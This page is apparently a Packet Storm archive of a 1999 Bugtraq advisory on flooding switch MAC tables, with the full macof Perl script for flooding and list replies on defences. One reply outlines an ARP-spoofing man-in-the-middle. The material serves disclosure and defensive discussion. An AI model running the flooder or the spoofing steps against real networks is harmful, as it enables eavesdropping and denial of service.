exploit the possibilities

macof.sniff.dos.switched.txt

macof.sniff.dos.switched.txt
Posted Aug 17, 1999

Due to limitations with ARP/MAC-tables, switches could start sending packages to all ports, other network devices could hang, crash or reboot if they receive lots of MAC-addresses. As a result, a malicious attacker could eavesdrop/sniff network connections over a switched network, and also launch Denial fo Service attacks on a local network. Exploit test code included.

tags | exploit, local
MD5 | 845ddbff626ac8163a8e642747f769ff

macof.sniff.dos.switched.txt

Change Mirror Download
Date: Wed, 5 May 1999 09:15:25 +0100
From: ian.vitek@INFOSEC.SE
To: BUGTRAQ@netspace.org
Subject: Infosec.19990305.macof.a

Infosec Security Vulnerability Report
No: Infosec.19990305.macof.a
=====================================

Vulnerability Summary
---------------------

Problem: Due to limitation with ARP/MAC-tables;
switches could start sending packages to all ports,
other network devices could hang, crash or reboot
if they receive lots of MAC-addresses.

Threat: Someone could eavesdrop/sniff network connections
over a switched network.
Denial of service attacks on a local network.

Platform: Verified a 3com Superstack Switch 3300
(3c16981 Hardware v.1 Software v.2.10).
Very possible other network devices.

Solution: There is no today known solution to the problem.


Vulnerability Description
-------------------------
Senario:
Computer A talks with computer B.
Computer C is running macof.
Computer A, B and C are connected to the same 3com switch.

When running macof ( http://quake.skif.net/RawIP/macof.html ), a perl-program
included in the perl-module Raw:IP ( http://quake.skif.net/RawIP/ ), through a
3com Superstack Switch 3300 (3c16981 Hardware v.1 Software v.2.10) the switch
starts to send all network packages from computer A to computer B and computer
C.

Solution
--------
There is no today known solution to the problem.
As a workaround for switches you could maybe, where available, lock a
MAC-address to every port on the switch.

Background:
-----------
At DefCon VI there were discussions about switches. Some people acquire a switch
because you could not eavesdrop a network connection over it. Someone told that
if you send a special multicast to a switch you could spoof another switch and
thereby should the switch start sending you network packages. In these attempts
we discovered that you easily could spoof a MAC-address and thereby confuse a
switch because the switch tries to remember which MAC-addresses is on each port.
Because of some network packages goes to the spoofing MAC you get problems with
the connections (resends). But what happens if the switch gets flooded with
MAC-addresses? The switch just has a bound memory-space for the MAC-addresses on
each port. What happens if this table gets full? After a few tests (with macof)
we got different results depending on the brand of the switch. Some switches
stopped working and other started to forward network traffic to wrong or all
ports. The only scientific analysis is this one reported. This is a resource
problem.

3com was informed about this problem 21/4 1999.

macof is just one way to do it. We think that the best way to eavesdrop a
connection over a switch is to spoof the default router and send ARP-redirects
with your MAC-address as ?changing to? and route the incoming packages to the
default routers MAC-address.

//Ian Vitek
ian.vitek@infosec.se

Test program, macof:
------
#!/usr/bin/perl -w
#
# macof v. 1.1
# By Ian Vitek ( ian.vitek@infosec.se )
# Tests network devices by flooding local network with MAC-addresses.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./macof -e <mac_of_def_gate> -n 1000000
# ./macof -r -n 1000000
# (run it several times)
#
# Warning: This program could cause serious problems on your network.
# This program could hang, crash or reboot network devices.
# Switches could start sending packages to all ports making it
# possible to intercept network traffic.
#
#
require 'getopts.pl';
use Net::RawIP;
Getopts('hvrs:e:d:x:y:i:n:');

sub GenMAC
{
my $tmp_mac="00";
my $i=0;
# generate random mac-address
while($i++ < 5) {
$tmp_mac.=":" . sprintf("%x",int rand 16);
$tmp_mac.=sprintf("%x",int rand 16);
}
return($tmp_mac);
}

$a = new Net::RawIP;

die "usage: $0 [options]\
\t-d dest_host\t\t(def:random)\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1)\
\t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );

# set default values
$opt_i=eth0 unless $opt_i;
$opt_n=1 unless $opt_n;
$s_host=$opt_s if $opt_s;
$d_host=$opt_d if $opt_d;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;

# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}

# Loop
for($times=0; $times < $opt_n; $times++) {
# Check if one or two mac-addresses should be generated
$mac=&GenMAC;
if($opt_r) {
$d_mac=&GenMAC;
print "$d_mac \t$mac\n" if($opt_v);
# set mac-addresses
$a->ethset(source => $mac, dest => $d_mac);
} else {
print "$mac\n" if($opt_v);
# set mac-address
$a->ethset(source => $mac);
}
# generate random source and destination ip-addresses
$s_host=17000000+int rand 4261000000 unless $opt_s;
$d_host=17000000+int rand 4261000000 unless $opt_d;
# generate random source and dest ports
$s_port=int rand 65535 unless $opt_x;
$d_port=int rand 65535 unless $opt_y;
# set network package
$a->set({ip => {saddr => $s_host, daddr => $d_host},
tcp => {source => $s_port, dest => $d_port}
});
# send
$a->ethsend;
}

------------------------------------------------------------------------------

Date: Thu, 6 May 1999 22:50:53 -0300
From: David Maxwell <david@FUNDY.CA>
To: BUGTRAQ@netspace.org
Subject: Re: Infosec.19990305.macof.a

On Wed, May 05, 1999 at 09:15:25AM +0100, ian.vitek@INFOSEC.SE wrote:
> Infosec Security Vulnerability Report
> No: Infosec.19990305.macof.a
> =====================================
>
> Vulnerability Summary
> ---------------------
>
> Problem: Due to limitation with ARP/MAC-tables;
> switches could start sending packages to all ports,
> other network devices could hang, crash or reboot
> if they receive lots of MAC-addresses.

This doesn't seem like a major issue, as long as
PER PORT Mac limit < x < y < PER SWITCH Mac limit
and y-x is a reasonable size.

Since you can only generate Mac addresses which will be recorded
on the port of the switch your attacking box is connected to,
you won't be able to overload the box entirely.

You will be able to knock valid local (i.e. on your segment) Macs
out of the table, but this will only give the switch a little
extra work to do (packet replication). All the traffic to or from
hosts on the same port as you should already be sniffable anyway.
Displacing existing Macs will disrupt traffic as mentioned, but

it's worth noting that on some brands of VLAN capable switch,
the same Mac can exist without conflict in more than 1 VLAN. So
you'll only be affecting the VLAN you're connected to.

--
David Maxwell, david@vex.net|david@maxwell.net --> Mastery of UNIX, like
mastery of language, offers real freedom. The price of freedom is always dear,
but there's no substitute. Personally, I'd rather pay for my freedom than live
in a bitmapped, pop-up-happy dungeon like NT. - Thomas Scoville

------------------------------------------------------------------------------

Date: Fri, 7 May 1999 13:29:33 +0930
From: Glen Turner <glen.turner@ADELAIDE.EDU.AU>
To: BUGTRAQ@netspace.org
Subject: Re: Infosec.19990305.macof.a

ian.vitek@INFOSEC.SE wrote:

> Problem: Due to limitation with ARP/MAC-tables;
> switches could start sending packages to all ports,
> other network devices could hang, crash or reboot
> if they receive lots of MAC-addresses.
>

This problem is well-known. We see it occassionally.

The bridge designer faces two choices:

1. To flood packets when the filtering database
fills. Thus the bridge can cope with larger
bridged networks than it was originally
designed for.

2. To refuse service to addresses not already
in the filtering database when the database
fills.

IEEE 802.1d isn't much use in deciding which option
is best.


Fixes are to activate "port security", which deactivates
a port if its MAC address changes. This limits the
DoS to one machine, which may still be worthwhile
if the machine runs an attractive service. It is
costly to administer in a large network.

Some switches have a "trap on port MAC address change"
option. The port running the exploit will generate a huge
number of traps, and suitable administrative action taken.

Networks with trees of switches will see multiple traps
as MAC addresses changes, so this option is usually
only enabled on switches at the edge.

However, we run this option on all our switches and
just deal with the extra traps.


Switch vendors do need to improve security. Most vendors'
plans involve obtaining user authentication before granting
significant link-level access. At present, these plans
are somewhat propietary.


Network design is also important. We place all public
access areas (computing labs, etc) on their own IP subnets.
These areas usually require significant IP filtering
in any case. The effect is to limit link-level DoS attacks
initiated from a public keyboard to a single physical area.

--
Glen Turner Network Specialist
Tel: (08) 8303 3936 Information Technology Services
Fax: (08) 8303 4400 The University of Adelaide 5005
Email: glen.turner@adelaide.edu.au South Australia

------------------------------------------------------------------------------

Date: Thu, 6 May 1999 22:30:07 +0200
From: Emil Isberg <cel95eig@mds.mdh.se>
Reply-To: Emil Isberg <emil.isberg@mds.mdh.se>
To: BUGTRAQ@netspace.org
Subject: Re: Infosec.19990305.macof.a

On 5 May 1999, ian.vitek@INFOSEC.SE wrote:
>Vulnerability Summary
>---------------------
>
>Problem: Due to limitation with ARP/MAC-tables;
> switches could start sending packages to all ports,
> other network devices could hang, crash or reboot
> if they receive lots of MAC-addresses.
>
>Threat: Someone could eavesdrop/sniff network connections
> over a switched network.
> Denial of service attacks on a local network.
>Solution: There is no today known solution to the problem.

This problem is known.
The problem is known as "Learning mode" and is the state the switch is in
when it "learn" how the network is configurated.

What it does is simply to record what port each mac-address is responding.

How does the solution look like?
Well. Don't use "learning mode" on the switch. In a secure environment you
know most of the needed mac-addresses and the rest you should know anyway
so you do not need "learning mode".

But is it a limitation? Yes. The switch should notice that a port is
behaving very strange and disable it (before it's MAC-table is flushed).

--
/Emil
"Man kan säga att jag har ett eget filsystem i min lägenhet. /Bornäs"

------------------------------------------------------------------------------

Date: Sat, 8 May 1999 03:17:47 +0100
From: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
To: BUGTRAQ@netspace.org
Subject: Re: Infosec.19990305.macof.a

> IEEE 802.1d isn't much use in deciding which option
> is best.

IEEE 802.1d is of questionable value anyway. Grep the
standard for the word security. Spanning tree used maliciously
is spectacularly effective when you decide to elect yourself
the root of the tree.

> Fixes are to activate "port security", which deactivates
> a port if its MAC address changes. This limits the
> DoS to one machine, which may still be worthwhile
> if the machine runs an attractive service. It is
> costly to administer in a large network.

Your security is still totally illusionary. Treat a switch
as a network accelerator thats all. Any security consultant who talks
about switches as a security feature you should offer to
sell a bridge too (london bridge that is).

The only time the switch helps is if it has IP level filters

> Networks with trees of switches will see multiple traps
> as MAC addresses changes, so this option is usually
> only enabled on switches at the edge.

Be careful the bridge handles this right. You can trash some
with trap bombs too - its often loading the on board CPU down
to handle an SNMP trap and that in many bridges clobbers some
of the hardware assisted performance badly.

> access areas (computing labs, etc) on their own IP subnets.
> These areas usually require significant IP filtering
> in any case. The effect is to limit link-level DoS attacks
> initiated from a public keyboard to a single physical area.

Sort of.

Given nodes A and B talking IP away from the public lab. Ping A, ping
B. Note their mac addresses. Send A a regular stream of ARPs claiming B
has moved to your address. Send B a stream of frames claiming A has
moved to your address. Sit in the middle rewriting destination headers.
Enjoy.

You are using strong crypto on your network aren't you 8)

Alan

------------------------------------------------------------------------------

Date: Sun, 9 May 1999 14:53:35 +0100
From: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
To: BUGTRAQ@netspace.org
Subject: Re: Infosec.19990305.macof.a

> Well, um, actually it is supposedly possible to pre-program some
> switches with the MACs of the host(s) it should see on a given segment.

Yes, which makes little odds

> Assuming you've done this, and that it's possible to stop the switch
> from learning new MACs (I've not yet tried this myself), it should make

Which isnt needed

> many of the attacks described to date much more difficult, if not
> impossible.

It stops some of the basic spanning tree attacks

> In addition the switch *is* an extra level of defense, even if it's not
> 100% guaranteed, as it does prevent trivial sniffing (as anyone who grew
> up diagnosing Ethernet problems with packet sniffers can tell you!).

It works the other way. The switch stops the administrator seeing the
games I'm playing across other ports. Crackers hide behind switches. They
unicast the attack arps, they redirect the traffic and admins on another
segment don't even see a change..

--
With trembling hands he unfurled the ancient cracked parchment, this was
the place, it had to be. Uncertainly he began to mumble the chant "rdbms,
sql , third normal formal form, java, table, scalable". Something moved..
>From outside they heard a scream and a thud. The sales department had awoken

------------------------------------------------------------------------------

Date: Sat, 8 May 1999 23:46:01 -0400
From: Greg A. Woods <woods@MOST.WEIRD.COM>
Reply-To: Greg A. Woods <woods@weird.com>
To: BUGTRAQ@netspace.org
Subject: Re: Infosec.19990305.macof.a

[ On Saturday, May 8, 1999 at 03:17:47 (+0100), Alan Cox wrote: ]
> Subject: Re: Infosec.19990305.macof.a
>
> Your security is still totally illusionary. Treat a switch
> as a network accelerator thats all. Any security consultant who talks
> about switches as a security feature you should offer to
> sell a bridge too (london bridge that is).
>
> The only time the switch helps is if it has IP level filters

Well, um, actually it is supposedly possible to pre-program some
switches with the MACs of the host(s) it should see on a given segment.
Assuming you've done this, and that it's possible to stop the switch
>from learning new MACs (I've not yet tried this myself), it should make
many of the attacks described to date much more difficult, if not
impossible.

In addition the switch *is* an extra level of defense, even if it's not
100% guaranteed, as it does prevent trivial sniffing (as anyone who grew
up diagnosing Ethernet problems with packet sniffers can tell you!).

--
Greg A. Woods

+1 416 218-0098 VE3TCP <gwoods@acm.org> <robohack!woods>
Planix, Inc. <woods@planix.com>; Secrets of the Weird <woods@weird.com>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    12 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    16 Files
  • 22
    May 22nd
    3 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close